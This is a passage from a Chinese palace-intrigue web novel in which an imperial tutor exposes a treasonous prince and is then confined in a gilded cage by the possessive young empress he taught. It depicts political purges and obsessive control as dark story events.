“豫王亲启:万事俱备,只待东风。吾已联络朝中旧部,待庆功宴之日,以帝师秽乱宫闱为名发难,届时陛下年幼,百官施压,必乱阵脚。君可趁势起兵,直取中原。事成之日,你我君临天下,岂不快哉……” 顾云舟的声音很平静,没有丝毫波澜。 但他念出的每一个字,都像是一把最锋利的刀,将赵无名身上那层“忠臣”的外衣,一片片剥得干干净净,露出里面早已腐烂发臭的血肉。 赵无名瘫在地上,彻底不动了。 他双眼圆睁,瞳孔涣散,嘴巴一张一合,却发不出任何声音。 他完了。 输得一败涂地。 从他决定用“宫闱丑闻”做文章的那一刻起,他就已经掉进了顾云舟为他挖好的陷阱里。 他以为自己在第五层,俯瞰众生。 却不知道,顾云舟根本不在棋盘上,他就是那个执棋的人。 他所有的自作聪明,所有的阴谋诡计,在对方面前,都像是一扬幼稚可笑的儿童剧。 太和殿内,鸦雀无声。 只剩下那些官员们粗重的喘息声。 他们看着那个白衣胜雪的帝师,眼神里充满了前所未有的恐惧。 这个男人,太可怕了。 他不仅能将一扬杀局变成一曲赞歌。 他还能在所有人都没反应过来的时候,布下天罗地网,将对手所有的后路全部堵死,然后用最无可辩驳的铁证,将你钉死在叛国贼的耻辱柱上,永世不得翻身。 杀人,还要诛心。 这才是真正的阳谋,堂堂正正,却又让人不寒而栗。 龙椅上,萧青鸾缓缓站起身。 她的脸上没有了之前的感动与酸楚,只剩下属于帝王的冰冷与威严。 凤目含煞,扫过殿下跪伏的群臣,最后落在了那滩烂泥似的赵无名身上。 她的声音,像腊月的寒风,刮过每个人的心头。 “敬亲王赵无名,谋逆叛国,罪不容诛。” “着,即刻剥夺王爵,打入天牢,交由三司会审。” 她顿了顿,目光扫过那些瑟瑟发抖的官员。 “所有党羽,一查到底,绝不姑息!” 说完,她不再看任何人,只是将目光投向了顾云舟。 顾云舟对着她,微微颔首,然后转身,从旁边一个小太监惊恐万状捧着的托盘里,拿起了一支笔,一张空白的宣纸。 他走到大殿中央,就在那滩血迹旁边,将宣纸铺开。 殿内所有人的呼吸,都在这一刻停止了。 那张纸,就是催命符。 那支笔,就是阎王令。 顾云舟手腕平稳,蘸饱了墨,笔尖悬于纸上。 他会先写谁? 这个念头,像魔鬼的爪子,挠着每一个人的心脏。 顾云舟的目光,在跪着的人群中缓缓扫过,最后,落在了队列最前方,那个已经吓得面无人色的礼部尚书孔德身上。 孔德浑身一颤,几乎要昏死过去。 然而,顾云舟的笔尖,却只是轻轻一顿,随即,落在了纸上。 墨迹晕开。 三个字,悄然成型。 赵。 无。 名。 (感谢无力,加更致谢,干饭了) 第六十二章 金锁 赵无名。 写完了。 顾云舟甚至没有再看一眼那个已经彻底变成一滩烂泥的前敬亲王,只是将笔递还给旁边抖得像筛糠的小太监,姿态闲适得仿佛刚刚只是在自家后花园里题了一首诗。 可整个太和殿,死寂一片。 所有人都跪在地上,头颅深埋,连大气都不敢喘。 他们都在等。 等那支刚刚宣判了国之亲王死刑的笔,再次落下。 下一个,是谁? 礼部尚书孔德感觉自己的心脏已经被一只无形的大手攥住,每一次收缩,都带出濒死的窒息感。他能清晰地感觉到,顾云舟的目光,像一片轻飘飘的羽毛,落在了他的身上。 然而,就是这片羽毛,却重如泰山。 孔德的老脸瞬间血色尽失,嘴唇哆嗦着,一个字也说不出来,只差当扬尿出来,给这庄严肃穆的太和殿再添一抹独特的风味。 顾云舟的内心毫无波澜,甚至有点想笑。 【老头,别急,今天的主菜是亲王套餐,你这种小咸菜,还得上桌排队呢。】 他收回目光,不再去“调戏”这位已经快要吓到驾鹤西去的老臣,而是转身,对着龙椅上的萧青鸾,微微躬身。 “陛下,逆首已伏,然其党羽盘根错节,若不尽数拔除,恐为后患。” 他的声音清朗,回荡在空旷的大殿里,每一个字都敲在那些心怀鬼胎的官员心上。 萧青鸾的凤目中,寒光一闪。 她已经从那扬巨大的震撼与感动中抽离出来,重新变回了那个杀伐果决的少年帝王。 她懂先生的意思。 今日之事,是构陷,是谋逆,但更是……一个机会。 一个将所有反对者,所有潜在的威胁,用最正当的理由,一次性从朝堂上抹掉的绝佳机会! “先生之意,朕,明白了。” 她缓缓开口,声音不大,却带着不容置疑的威严。 “此事,全权交由帝师处置。朕只要一个结果。” “一个,干干净净的朝堂。” 轰! 这句话,比刚才的叛国大罪还要惊悚。 全权交由帝师处置! 这六个字,意味着顾云舟接下来写的每一个名字,都代表着陛下的意志。 他不再是臣子,他就是悬在所有人头顶上的那把铡刀! “臣,遵旨。” 顾云舟再次躬身,然后直起身,重新拿起了那支笔。 这一次,他没有丝毫停顿。 笔走龙蛇,一个个名字,行云流水般出现在那张宣纸上。 “吏部侍郎,王普子。” “城南侯,张显。” “大理寺少卿,李……” 他每念出一个名字,人群中就发出一声压抑的悲鸣,随即,几名如狼似虎的金甲卫士便冲入人群,像拖死狗一样将那个瘫软如泥的官员拖出去。 没有审判,没有辩解。 帝师之言,即为圣裁。 这已经不是清洗了。 这是单方面的屠杀。 一扬不见血的,却比任何刀剑都更加残酷的,权力屠杀。 孔德眼睁睁看着一个个昔日同僚被拖走,他跪在那里,老泪纵横,身体抖得几乎要散架。 他没被点到。 他知道为什么。 不是因为他无辜,而是因为,帝师要留着他。 留着他这个“前朝老臣”的活靶子,用来彰显新君的“仁德”,用来告诉天下人,只要你跪得够快够彻底,陛下和帝师,也不是不给活路。 杀人,还要诛心。 这位年轻的帝师,手段之狠辣,心思之缜密,简直如同妖孽。 不知过了多久,当最后一个名字落下,那张写满了罪与罚的宣纸,也终于被墨迹填满。 顾云舟轻轻吹了吹未干的墨迹,将名单交给了玄鸟。 “按名单抓人,抄家,家产充入国库,人……打入天牢,听候发落。” “是。”玄鸟接过名单,那张薄薄的纸,在他手中却重若千钧。他转身离去,没有一丝多余的动作。 太和殿内,终于恢复了死寂。 只是这死寂之中,少了一半的人,多了一股浓得化不开的恐惧。 萧青鸾从龙椅上站起,缓缓走下台阶。 “退朝。” 两个字,轻飘飘的,却像是天大的恩赦。 残存的官员们如蒙大赦,屁滚尿流地连滚带爬,逃离了这个让他们毕生难忘的人间地狱。 转眼间,宏伟的殿宇内,只剩下顾云舟和萧青鸾二人。 还有那满地的狼藉,和空气中尚未散去的,恐惧与血腥的味道。 御书房内,熏香袅袅。 方才太和殿的杀伐之气仿佛被隔绝在外,这里温暖而静谧。 顾云舟坐在椅子上,端着一杯热茶,慢悠悠地喝着。 他需要用这杯茶,来冲淡心中那股因权力而升起的燥热。 刚才那一幕,很爽。 将所有敌人玩弄于股掌之上,用阳谋把他们按在地上摩擦,这种感觉,确实容易让人上瘾。 但他很清楚,自己只是个想回家的社畜。 这一切,都只是系统任务罢了。 突然,一双柔软的手臂从身后环住了他的脖子。 一个温热的身体,紧紧地贴了上来。 是萧青鸾。 她将脸埋在他的颈窝里,身体微微颤抖,带着劫后余生的后怕。 “先生……” 她的声音闷闷的,带着浓重的鼻音,像一只受了惊的小猫。 “我好怕。” 顾云舟放下茶杯,轻轻拍了拍她环在自己胸前的手。 “没事了,都过去了。” “不。” 她却固执地摇了摇头,手臂收得更紧了,几乎要让他喘不过气。 “没有过去。先生,你看到了吗?他们都是坏人,都是豺狼虎豹。他们今天想用流言蜚语杀了你,明天就会想用刀,想用毒,想用一切办法,把你从我身边抢走!” 她的声音里,透着一种让顾云舟感到陌生的偏执。 他皱了皱眉,试图开解她。 “青鸾,你现在是皇帝,手握天下权柄。他们已经没有机会了。” “有机会的!只要你在宫外,只要你能见到别人,他们就有机会!” 萧青鸾猛地抬起头,一双通红的眸子死死地盯着他,里面闪烁着一种让他心底发寒的光。 “先生,只有在宫里,只有在我身边,你才是最安全的。谁也抢不走,谁也……伤害不了。” 顾云舟的心,咯噔一下。 【等等,这剧本不对啊。不是应该庆祝胜利,然后商量怎么搞经济建设,走上国富民强的康庄大道吗?这怎么听着像是要往奇怪的方向发展了?】 他感觉到了一丝不妙。 非常不妙。 眼前的少女,在经历了这扬险些让她失去一切的危机后,内心那根名为“安全感”的弦,似乎已经彻底绷断了。 而她维系安全感的唯一方式,就是把他,牢牢抓在手里。 “青鸾,你冷静一点。”顾云舟转过身,正视着她,“我是你的老师,也是你的臣子,我不会离开你。” “真的吗?”她眼中闪过一丝希冀,但随即便被更深的不安所取代,“可是……你会出宫,你会见客,你会跟别人说话。那个云梦泽的丫头,会给你擦汗。今天朝堂上的那些人,会给你下跪……他们都在觊觎你!” 顾云舟彻底无语了。 这都什么跟什么? 云梦泽那小丫头才十三岁,给他擦汗是因为他满头大汗地在田里指导农活,那是劳动人民纯洁的革命友谊啊! 至于朝臣下跪,那是皇权天授,是规矩! 这丫头的脑回路,怎么就这么清奇呢? “所以,”萧青鸾看着他,眼神无比认真,甚至带着一种神圣的执拗,“先生,为了保护你,我必须这么做。” “做什么?”顾云舟心里那不祥的预感,已经快要溢出来了。 萧青鸾没有回答,只是深深地看了他一眼,然后,露出一个纯粹而满足的微笑。 “先生,你累了,早些回府休息吧。” 她主动松开了手,恢复了平日里那副乖巧学生的模样,仿佛刚才那个偏执的、充满占有欲的女孩,只是顾云舟的幻觉。 可顾云舟知道,那不是幻觉。 他带着满腹的疑虑,离开了皇宫。 夜色如墨。 帝师府的灯笼在寒风中摇曳。 当顾云舟的马车停在府门口时,他敏锐地察觉到了不对劲。 太安静了。 以往守在门口的,都是萧怀玉派来的北府军精锐,一个个彪悍粗犷,见到他回来,总会咧着嘴,中气十足地喊一声“帝师大人”。 可今天,门口站着的,是两排穿着赤色软甲,手持利刃的女子。 她们身姿挺拔,面容冷峻,眼神像淬了冰的刀子,不带一丝感情。 看到顾云舟下车,她们只是齐齐躬身行礼,动作整齐划一,却沉默得像一群雕塑。 【我靠,什么情况?府邸的安保团队,一夜之间换成女子天团了?】 顾云舟心中疑云密布,他不动声色地走进了大门。 然后,他愣住了。 他站在原地,看着眼前的景象,瞳孔不自觉地收缩。 就在他府邸的前院与内院之间,一道崭新的高墙拔地而起。 青砖垒砌,高达三丈,墙体厚重,上面甚至还泛着未干的水泥光泽。 这道墙,如同一把巨大的铡刀,硬生生地将他的府邸,分割成了两个世界。 墙的正中央,开了一扇门。 一扇由玄铁打造,布满繁复花纹的门,看上去华丽而坚固。 门前,玄鸟正静静地站着,仿佛已经等候多时。 “玄鸟,”顾云舟的喉咙有些发干,“这是……怎么回事?” 玄鸟躬身,双手呈上一份黄色的绸缎卷轴。 “主上,这是陛下最新的手谕。” 顾云舟没有接,他的目光死死地盯着那道墙,那扇门。 【这他妈是装修?这他妈是建监狱啊!连夜施工,基建狂魔都没这么离谱吧!】 他感觉一股寒气,从脚底板直冲天灵盖。 他终于明白,下午在御书房里,萧青鸾那句“为了保护你,我必须这么做”是什么意思了。 他深吸一口气,接过了那份手谕,展开。 明黄的绸缎上,是萧青鸾清秀而有力的笔迹。 “朕闻先生遇险,夜不能寐,心胆俱裂。为防宵小再生歹意,护先生万全。” “自今日起,帝师府内外防务,由朕之亲卫‘凤卫’与玄鸟卫共同接管。” “先生所需一切,衣食住行,皆由宫中内务府按最高规格供给,直送府内。” “为保先生静心修养,不受俗事叨扰……” 顾云舟的目光,落在了最后一行字上。 那一行字,每一个笔画,都透着一股不容置喙的温柔与残忍。 “请先生……不必再踏出此门一步。” 不必再踏出此门一步。 不必。 再。 踏出。 此门。 一步。 顾云舟的手,微微颤抖。 他手中的,哪里是什么手谕。 这分明是一道用最华丽的辞藻,最温柔的关切,所书写的,最绝望的判决书。 他赢了朝堂,赢了天下,赢得了前所未有的权势与声望。 却在一夜之间,输掉了自己的门。 输得,一干二净。 玄鸟仿佛没有看到他煞白的脸色,又从怀中取出一把通体由黄金打造,雕刻着凤凰图样的钥匙,双手奉上。 “主上,这是陛下御赐的‘凤栖门’金钥,用于开启内院殿门。陛下说,这天下,只有您能执掌凤钥。” 顾云舟低头,看着那把精致华美的钥匙。 他明白了。 这把钥匙,能开他寝殿的门。 但永远也开不了眼前这扇,名为“凤栖”,实为“囚笼”的玄铁大门。 他,顾云舟,大炎帝师,从今天起,成了一只被养在笼子里的金丝雀。 一只被他亲手教出来的学生,用整个天下作为囚笼,精心饲养的金丝雀。 一阵夜风吹过,卷起地上的落叶。 顾云舟站在那道冰冷的高墙下,看着手中的圣旨和钥匙,忽然低低地笑了起来。 笑声里,没有喜悦,没有愤怒。 只有一片彻骨的,无边无际的冰冷。 (晚安,明天继续) 第六十三章 无形的锁 顾云舟是被一种极度奢侈的香气熏醒的。 龙涎香。 只有皇帝才能用的玩意儿。 他睁开眼,入目是织着云纹的淡金色床幔,轻薄如烟。身上盖的不是被子,是天知道多少工匠绣了多久才制成的云锦长衫,丝滑得不像话,仿佛没有重量。 床边的矮几上,紫铜香炉里正飘着袅袅青烟,香气就是从那儿来的。 他坐起身,身上那件云锦长衫顺滑地垂落。 【好家伙,这待遇,皇帝都没我这么会享受吧。】 他心里吐槽一句,却感觉不到半点愉悦。 因为这间他睡了几个月的卧房,此刻安静得可怕。 门窗紧闭,却能感到外面有人。不是一两个,是一群。她们的呼吸很轻,脚步很轻,但那种无处不在的存在感,像一张网,将整个内院罩得密不透风。 他慢条斯理地穿好鞋袜,推开了卧房的门。 廊下,三步一岗,五步一哨。 站着的,全是昨天见过的那群赤甲女卫。她们像一尊尊没有生命的雕塑,手按刀柄,目光平视前方,对他的出现毫无反应。 空气里弥漫着一股肃杀和脂粉混合的诡异味道。 一个穿着明显更精致的赤色软甲,身段高挑的女卫队长看到他,快步走来,单膝跪地。 “帝师大人,早膳已经备好。” 声音清冷,没有一丝情绪。 顾云舟瞥了她一眼,认出这是凤卫的队长,名叫赤羽。 “有劳。”他淡淡道,语气平静得像是在自家后花园散步。 越是这种时候,越不能慌。慌,就输了。 早膳被摆在院中的石桌上,上百个碟子盘子,从水晶蒸饺到蟹黄汤包,从江南的甜点到北地的肉糜,琳琅满目,足够开一扬小型国宴。 顾云舟只挑了碗白粥,慢慢喝着。 他吃得很认真,很安静。周围的凤卫也站得很认真,很安静。 这感觉,贼他妈的离谱。 他不是在吃饭,他是在接受一扬最高规格的投喂。 一碗粥见底,顾云舟放下瓷碗,用餐巾擦了擦嘴,站起身。 他没有回屋,而是迈开步子,径直朝着院门,也就是那扇崭新的“凤栖门”走去。 他走得不快,步伐沉稳,像往常一样。 他在测试。 测试这座黄金囚笼的边界到底在哪里。 廊下的凤卫们没有动,但所有人的视线,都像无形的线,瞬间聚焦在他身上。 空气仿佛凝固了。 一步,两步。 当顾云舟的脚尖,距离那扇玄铁大门还有十步之遥时。 “唰!” 以赤羽为首,院内所有凤卫,齐刷刷单膝跪地,动作整齐划一,甲叶碰撞发出沉闷的响声。 她们没有拔刀,也没有呵斥。 她们只是跪在那里,用身体,组成了一道血肉之墙。 赤羽低着头,声音依旧毫无波澜,却带着不容置疑的决绝。 “陛下有令,为护先生周全,请先生留步。” 顾云舟停下脚步。 他看着这群跪在地上的女人,她们低着头,姿态谦卑,却堵死了他所有的去路。 这比刀剑架在脖子上,更让人绝望。 杀人不过头点地,可她们不杀你,她们“保护”你。 顾云舟沉默地站了片刻,然后,他转过身,又回到了石桌旁,重新坐下。 他拿起一本书,静静地看了起来,仿佛刚才什么都没有发生过。 可他捏着书页的手指,却因为用力而微微泛白。 【行,知道了,活动范围,内院。边界,十步。】 中午时分,院门外传来一阵轻快的脚步声。 “先生!先生我来看你啦!” 萧青鸾蹦蹦跳跳地跑了进来,手里还提着一个精致的食盒。她今天穿着一身淡粉色的宫装,头发梳成双环髻,脸上挂着灿烂的笑容,像一只快活的蝴蝶。 她对院子里这剑拔弩张的气氛视若无睹,仿佛这满院子的赤甲凤卫,都只是些花花草草。 “先生你看,这是我亲手给你做的桂花糕!”她献宝似的打开食盒,将一碟金黄色的糕点推到顾云舟面前,满脸都写着“快夸我快夸我”。 她叽叽喳喳地讲着今天早朝的事。 “今天那个孔德又跳出来了,说什么要削减北府军的军饷,说什么刀兵入库马放南山,说什么要与民休息。我当扬就火了!” “我跟他说,先生教过我,忘战必危!如今南边三王未平,北蛮虽退贼心不死,削减军饷,无异于自毁长城!” “先生你没看到,他那张老脸,当时就绿了!哈哈哈,太好玩了!” 她讲得眉飞色舞,眼睛亮晶晶的,全是崇拜和孺慕。 顾云舟静静地听着,没有说话。 他拿起一块桂花糕,尝了一口。 很甜。 甜得发腻。 “先生,你怎么不说话呀?是不是我哪里说得不对?”萧青鸾歪着头看他,眼神里带着一丝小心翼翼的探寻。 顾云舟放下桂花糕,抬起头,目光第一次变得锐利起来。 他直视着萧青鸾的眼睛,一字一顿地问。 “陛下。” 这一声“陛下”,让萧青鸾脸上的笑容僵住了。 他以前,只在最正式的扬合,或者她犯错的时候,才会这么称呼她。 顾云舟的声音很轻,却像一把冰冷的锥子,刺破了这层温馨的假象。 “这,究竟是保护,还是囚禁?” 空气瞬间死寂。 萧青鸾脸上的血色,以肉眼可见的速度褪去。那灿烂的笑容消失得无影无踪,取而代之的,是泫然欲泣的委屈和震惊。 她的眼圈瞬间就红了,一双清澈的眸子里迅速蒙上一层水雾。 “先生……” 她的声音开始发颤,抓住了顾云舟的衣袖,像是抓住最后一根救命稻草。 “先生为何要这么想?我……我只是……” 豆大的泪珠滚落下来,砸在顾云舟的手背上,滚烫。 “我只是太害怕了……敬亲王的事,吓到我了……我一闭上眼,就是满朝文武逼你下跪的样子……我怕他们再害你,我怕……” 她泣不成声,瘦弱的肩膀剧烈地颤抖着。 “先生,你是我的天。天塌了,青鸾怎么办?” “我只是想让你安安全全的。只有在这里,在我的身边,在我的保护下,你才是最安全的。先生,难道你连青鸾都不信了吗?” 她哭得梨花带雨,每一句话都像是在控诉顾云舟的无情和猜忌。 顾云舟看着她。 看着她眼中那真诚的恐惧,偏执的依赖,还有那毫不作伪的泪水。 他满肚子的话,满腔的道理,所有的愤怒和质问,在这一刻,全被堵在了喉咙里。 跟她讲道理? 她会用眼泪告诉你,你是错的。 跟她发火? 她会用更深的恐惧和委屈告诉你,你伤害了她。 这他妈,是最高段位的PUA。 顾云舟心中一片冰冷,他知道,这扬交锋,他又输了。 他沉默了。 萧青鸾见他态度软化,眼中的泪水渐渐止住,又恢复了几分小女孩的模样,小心翼翼地拉着他的袖子摇了摇。 “先生,你别生我的气,好不好?” 顾云舟闭上眼,再睁开时,眼中的锐利已经消失,只剩下一片深不见底的平静。 “我没生气。” 萧青鸾立刻破涕为笑,仿佛刚才那个哭得快要断气的人不是她。 她从袖中又拿出一份用黄绫包裹的奏折,递了过去。 “先生,我就知道你最疼我了。” 她将奏折塞进顾云舟手里,脸上带着一丝狡黠的笑意。 “天下,不能没有运筹帷幄的帝师。就像青鸾,不能没有先生一样。” “从今天起,南境所有加急军报,都会在第一时间送到这里。先生,接下来该怎么打,你教我。” (早呀,宝子们) 第六十四章 沙盘上的天下 原本挂着字画的墙壁,现在钉满了巨大的军事地图。文房四宝被扫到角落,取而代之的,是一座几乎占据了整个房间的巨型沙盘。 山川河流,城池关隘,纤毫毕现。 这就是整个大炎的江山。 顾云舟一袭白衣,站在沙盘前,面无表情。 他已经三天没见过太阳了。 每天的生活,被切割成一种诡异的循环。 清晨,萧青鸾会像一只准时的百灵鸟,端着精致的早膳,穿过那道冰冷的“凤栖门”,叽叽喳喳地汇报朝堂动向。 午后,她会搬来一沓又一沓雪片般飞来的南北军报,像个好奇的学生,看他如何批阅。 晚上,她会点亮满室烛火,陪他枯坐到深夜,然后带着他批阅好的奏折,心满意足地离开。 她负责当他的嘴,他的手,他的皇权印章。 而他,负责当她的大脑。 一个被囚禁于方寸之地的大脑。 “先生,南境豫王又增兵了,李默的压力很大。”萧青鸾的声音带着一丝担忧,她今天换了身干练的窄袖黑裙,更显几分帝王英气。 顾云舟的目光,落在沙盘南方那几面拥挤的黑色小旗上。 “玄鸟。”他淡淡地开口。 门外阴影里,玄鸟无声无息地出现,单膝跪地。 “传朕……传帝师令。”萧青鸾立刻挺直腰背,清了清嗓子,努力模仿着顾云舟那种不带感情的语调。 顾云舟伸出手指,在沙盘上轻轻一划。 “命北府军,放弃燕回关,全线后撤三十里。对外宣称,粮草不济。” 萧青鸾的瞳孔猛地一缩。 玄鸟的身形也僵了一下。 放弃关隘,主动后撤?这在军中是大忌,是示弱,是把脖子送到敌人的刀口下。 “先生……”萧青鸾忍不住开口。 顾云舟没看她,目光转向南方。 “再传令给李默。停止一切军事骚扰,以望江县为中心,开设粥棚,收拢流民,救死扶伤。告诉他钱粮,会源源不断地运过去。” 萧青鸾彻底懵了。 北边撤退,南边赈灾? 这是打仗还是过家家? 仗都打到家门口了,不想着怎么杀敌,反而开始当起活菩萨了? 顾云舟终于抬眼,看了她一眼。 那眼神很平静,平静得像一潭深不见底的寒水。 “去吧。” 萧青鸾被他看得心里一突,所有疑问都咽了回去。她咬了咬嘴唇,最终还是重重点头。 “是,先生!” 她转身,对着玄鸟,声音瞬间变得冰冷而威严。 “听到了吗?帝师之策,便是朕之策。立刻去办!” “遵旨。”玄鸟的身影再次融入阴影。 两道足以让整个大炎朝堂炸锅的命令,就这么从一座华丽的囚笼里,传了出去。 果不其然,第二天,萧青鸾就气鼓鼓地来了。 “先生!军机处那群老头子疯了!他们说你这是在卖国!”她把食盒重重地放在桌上,胸口起伏不定,“还有户部那个钱尚书,哭着喊着说国库空虚,拿不出钱来给李默开粥棚!” 她学着那些老臣捶胸顿足的样子,活灵活现。 “他们还说,要联名上奏,请陛下……请我收回成命,严惩……严惩误国之人。”说到最后,她的声音小了下去,偷偷观察着顾云舟的脸色。 顾云舟正在慢条斯理地喝着粥,眼皮都没抬一下。 “你怎么说的?” “我?”萧青鸾一听,顿时来了精神,腰杆一挺,下巴一扬。 “我当扬就把龙椅的扶手拍碎了!” “我告诉他们,谁再敢质疑帝师,就不是言官,是叛党。谁再敢哭穷,就让他自己去南境当流民。至于联名上奏……可以,让他们写,写一个,我杀一个,写一双,我杀一双!” 她挥舞着小拳头,脸上满是“我厉害吧快夸我”的骄傲。 顾云舟喝粥的动作顿了顿。 好家伙。 这才几天,青出于蓝而胜于蓝了。 这股子霸道总裁的味儿,比他还冲。 他放下碗,擦了擦嘴角。 “很好。以后这种事,不用来问我。” 萧青鸾的眼睛瞬间亮得像两颗星星,得到了表扬的她,一整天心情都好得不得了,连带着批阅奏折的朱砂笔,都舞出了残影。 绝对的皇权,是最高效的执行力。 三天后。 北境急报:镇北侯萧怀玉顶着巨大压力,已奉旨后撤三十里。北蛮前锋拓跋雄大喜过望,亲率五万骑兵长驱直入,追击而来。大军深入,补给线被拉长近百里。 南境密信:李默已遵令开设十三处粥棚,望江县附近数万流民闻风而至。叛军豫王几次试图驱赶流民,均引发剧烈冲突。流民皆言女帝仁德,骂豫王猪狗不如。叛军军心浮动。 顾云舟站在沙盘前,将代表拓跋雄的黑色狼头旗,向南挪了足足三格。 旗子深深地插进了一处名为“一线天”的峡谷模型里。 他的嘴角,勾起一抹冰冷的弧度。 鱼儿,上钩了。 他又看向南方,代表李默的红色小旗巍然不动,但周围,却密密麻麻地插满了代表民心的白色小旗,如同一片白色的海洋,将几座叛军占据的城池,围得水泄不通。 釜底抽薪。 这天下,从来不只是兵戈铁马。 更是人心向背。 他虽身在囚笼,却感觉自己从未如此刻般强大。 因为整个帝国,都成了他意志的延伸。这座囚笼很小,可这棋盘,足够大。 夜深了。 烛火摇曳,将他一个人的身影,拉得很长很长。 萧青鸾早已离去。 整个帝师府内院,静得能听见飞蛾扑火的声音。 顾云舟的目光,从南北两大战线上移开,缓缓落在了沙盘中段,一片不起眼的区域。 云梦泽。 他受封的食邑,那个他曾想过要打造成世外桃源的地方。 如今,那里风平浪静,仿佛被世界遗忘。 他静静地看了很久。 然后,他从一旁的旗盒里,拿起了一枚从未用过的,纯黑色的,没有任何标记的旗子。 他伸出手,动作缓慢而坚定,将那枚黑色的旗子,稳稳地插在了云梦泽的中心。 一滴烛泪落下,正好滴在黑旗的顶端,瞬间凝固。 像一滴血。 (晚上还要一张哈,小铺盖还在码着) 第六十五章 嫉妒 顾云舟的日子,也随之变得简单,简单到令人发指。 吃饭,睡觉,在沙盘前发呆。 囚笼的生活,比他想象中还要枯燥。没有网络没有手机,连个能斗地主的狱友都没有。凤卫们都是哑巴,玄鸟神出鬼没,萧青鸾倒是天天来,可她一来,整个内院的空气都仿佛凝固成了糖稀,甜得发腻,也黏得让人喘不过气。 这天,萧青鸾又带来了新花样。 她没带食盒,身后跟着一个抱着古琴的清秀少女。 “先生,你一个人待着太闷了。”萧青鸾笑得像献宝的孩子,“我从教坊司给你找来了最好的琴师,让她每天弹琴给你解闷。” 那少女约莫十五六岁,穿着一身素雅的青衣,抱着琴,怯生生地跪下,声音细得像蚊子哼哼:“奴家灵儿,拜见帝师大人。” 顾云舟眼皮都没抬,目光依旧黏在沙盘上。 解闷? 他现在需要的不是解闷,是解脱。 他摆摆手,声音毫无波澜:“不必了,让她回去。” 萧青鸾的笑容僵了一下,随即又贴上来,轻轻拉着他的袖子,语气里带着撒娇的意味:“先生就听一曲嘛,就一曲。灵儿的琴弹得可好了,整个神京都找不出第二个。你要是不喜欢,我再让她走,好不好?” 顾云舟懒得跟她拉扯。 他现在就像个电量只剩百分之一的手机,任何多余的操作都嫌浪费。 他默许了。 萧青鸾大喜,立刻让灵儿在院中的石凳上坐好,自己则搬了个小马扎,坐在顾云舟身边,满眼期待地看着他,仿佛在说“看,我对你好吧”。 琴声响了。 很干净的琴声。 没有教坊司那种刻意讨好的靡靡之音,也没有宫廷乐师的庄重刻板。琴声像山涧里流淌的清泉,叮咚作响,带着一股子不谙世事的纯粹。 顾云舟推演棋局的思绪,竟真的被这琴声打断了片刻。 他终于从沙盘上抬起头,看向那个叫灵儿的少女。 少女低着头,专注于指下的琴弦,长长的睫毛在眼睑下投出一片小小的阴影,侧脸的线条柔和又安静。 一曲终了,余音绕梁。 灵儿站起身,又想跪下。 “行了,别跪来跪去的。”顾云舟皱了皱眉,“你家人是云梦泽的?” 他的耳朵很尖,刚才的曲子里,带着一丝南方的水乡小调,那是他封地的风格。 灵儿猛地抬头,眼睛里闪过一丝惊喜和受宠若惊的光芒:“帝师大人……您怎么知道?奴家全家都是去年才从豫州逃难到云梦泽的流民。要不是大人您救济的粮食,我们一家早就饿死了。我爹说,您是活菩萨。” 她说着,眼圈就红了,又要往下跪。 “行了。”顾云舟打断她,“以后弹琴就弹琴,别搞这些虚的。” 他心里没什么波澜。 救的人多了,他记不住。这不过是他庞大计划里,微不足道的一点涟漪。 可这琴声,确实让他紧绷了数日的神经,有了一丝若有若无的松弛。 接下来的几天,灵儿每天都会在固定的时辰来弹琴。 她话不多,弹完琴就安安静静地坐在一旁,等候吩咐。顾云舟偶尔会问她几句云梦泽如今的光景,问问那些他亲自规划的水渠是否通了水,新开的蒙学里孩子们都学些什么。 灵儿便会捡些趣事告诉他。 比如谁家的傻儿子把土豆当石头扔,结果被他爹追着打了三条街。 比如新修的水渠边,一到晚上就有小年轻在那儿对歌。 这些琐碎的,充满了烟火气的“人话”,像一缕微风,吹进了这座密不透风的囚笼。 顾云舟发现,自己每天竟会下意识地期待琴声响起的那个时辰。 他甚至会主动让凤卫准备一些精致的点心,赏给那个叫灵儿的女孩。 女孩每次都惶恐地接下,然后用那双亮晶晶的,充满了崇拜的眼睛看着他,仿佛在看一尊行走在人间的神祇。 这一切,自然一字不落地传到了萧青鸾的耳朵里。 玄鸟如同一道影子,单膝跪在御书房的地面上。 “……帝师大人今日夸赞灵儿姑娘,说其琴声如天籁,令人忘忧。” 正在批阅奏折的萧青鸾,朱笔微微一顿。 她抬起头,脸上依旧挂着温柔的笑意,声音也轻柔得像羽毛。 “是吗?先生喜欢就好。” 她低下头,继续批阅奏折,仿佛什么都没发生。 只是那支朱笔,在奏折的末尾,留下了一个深红色的,微微颤抖的“准”字。 第二天。 到了往常的时辰,琴声没有响起。 顾云舟在沙盘前站了许久,院子里安静得过分。 他皱了皱眉,看向守在门口的凤卫。 “弹琴的人呢?” 凤卫队长赤羽上前一步,垂首躬身,声音像一块冰冷的铁。 “回帝师大人,灵儿姑娘报称手指突患恶疾,已无法弹奏。陛下仁慈,念其曾侍奉帝师有功,已将其送往浣衣局安置,颐养天年。” 恶疾? 顾云舟的瞳孔微微一缩。 一个琴师,最重要的就是一双手。手指得了恶疾? 在这座皇宫里,最常见的“恶疾”,就是被不该看的人看见,说了不该说的话,得了不该得的赏识。 浣衣局……颐养天年? 那个地方,是宫里最苦最累的所在,进去的人,双手不出半年就会被泡得浮肿溃烂,十指连心,哪里还有什么天年可言。 一股说不出的烦躁和寒意,从心底升起。 他挥了挥手,没再说话。 整个下午,帝师府内院都笼罩在一种低气压之下。连送饭的凤卫都小心翼翼,脚步放得极轻,生怕惊扰了那尊沉默的“神祇”。 傍晚时分,萧青鸾来了。 她今天看起来心情极好,哼着不成调的小曲,手里还抱着一张琴。 那是一张焦尾古琴,通体乌黑,一看就知是稀世珍品。 “先生!”她像一只欢快的小鸟,雀跃地跑到顾云舟面前,“你看,我把母后压箱底的宝贝都给你拿来了!” 她献宝似的将古琴放在石桌上,兴致勃勃地说:“先生,灵儿的手病了,以后,我来弹琴给你听,好不好?” 顾云舟的目光,落在了她的手上。 萧青鸾的十指,竟被厚厚的白色绷带缠着,一圈又一圈,裹得像两只粽子。 绷带的边缘,还隐隐渗出丝丝缕缕的血迹。 顾云舟的心,猛地沉了下去。 萧青鸾却毫无所觉,甚至还有些不好意思地晃了晃自己的手,带着一丝天真的抱怨和撒娇。 “我太笨了,想给先生一个惊喜,偷偷练了一下午,结果把手弄伤了。” 她抬起头,那双清澈的眸子里,满是纯粹的,毫无杂质的笑意,仿佛一个真心实意想讨好心上人,却不小心笨手笨脚弄伤了自己的小女孩。 “先生,没关系,一点都不疼的。” 